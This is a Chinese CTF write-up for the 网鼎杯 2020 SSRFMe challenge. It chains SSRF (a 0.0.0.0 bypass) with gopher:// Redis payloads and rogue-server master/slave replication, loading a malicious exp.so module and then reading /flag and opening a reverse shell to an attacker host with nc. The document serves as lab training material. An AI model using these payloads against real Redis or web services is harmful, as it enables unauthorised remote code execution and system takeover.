很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe
前言
刚完整复现一遍redis,然后重新打了一下这道题
SSRF+本地redis主从复制RCE组合拳拿shell
拿不到flag+反弹shell的惨案到此为止吧,跟我一步步拿shell
redis漏洞利用姿势原文https://www.sec-in.com/article/1309
一、环境说明
buuoj靶场
https://buuoj.cn/
攻击机kali-公网(普通的centos和ubuntu机子一样效果)
二、打靶机
注意:现在buuoj的这台靶机已经可以出网了,有公网服务器直接用自己服务器就好,没有的话再去考虑搞小号开linux小靶机
1 访问靶机
http://44841d7f-8e24-426e-8e42-59ab4ce4b488.node4.buuoj.cn:81/
2 获取redis密码
使用0.0.0.0的ip地址绕过check_inner_ip() 函数,访问hint.php得到redis密码
/?url=http://0.0.0.0/hint.php
密码
root
用本地主从复制打它,利用目录为万能的/tmp
3 攻击机开启主服务器
下载前面用到的两个工具,
https://github.com/n0b0dyCN/redis-rogue-server
# redis-rogue-server,未授权使用
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
# Awsome-Redis-Rogue-Server,有授权使用
将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块
开启主服务
# lport就是指定攻击机的ip和端口的,默认15000端口,-v和-path前面说过了
python3 redis_rogue_server.py -v -path exp.so -lport 21000
4 ssrf gopher联动redies拿flag
payload中第一行就是payload,下面的是解码结果方便查看。%0a是换行,%250a是因为%编码之后是%25(都是url编码两次)
然后我把自己的攻击机服务器的ip地址改成了1.xx.xx.xx,记得改回来,全局替换即可
5 设置备份路径
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit
6 加载exp.so
重新登录 生成一个exp.so文件 在进行主从同步(ip改为本地),退出
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25201.xx.xx.xx%252021000%250d%250aquit
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 1.xx.xx.xx 21000
quit
执行之后,主从同步能够看到回显,会一直同步
7 加载模块
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit
gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit
8 关闭关闭主从同步
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit
gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit
关闭成功后主服务会停止同步,提示PONG啥的
9 导出数据库
(设置备份文件名字)
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit
gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit
10 获取flag
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit
gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit
11 反弹shell
先在攻击机监听6666端口
nc -lvvp 6666
执行反弹
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%25201.xx.xx.xx%25206666%250d%250aquit
gopher://0.0.0.0:6379/_auth root
system.rev 1.xx.xx.xx 6666
quit
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录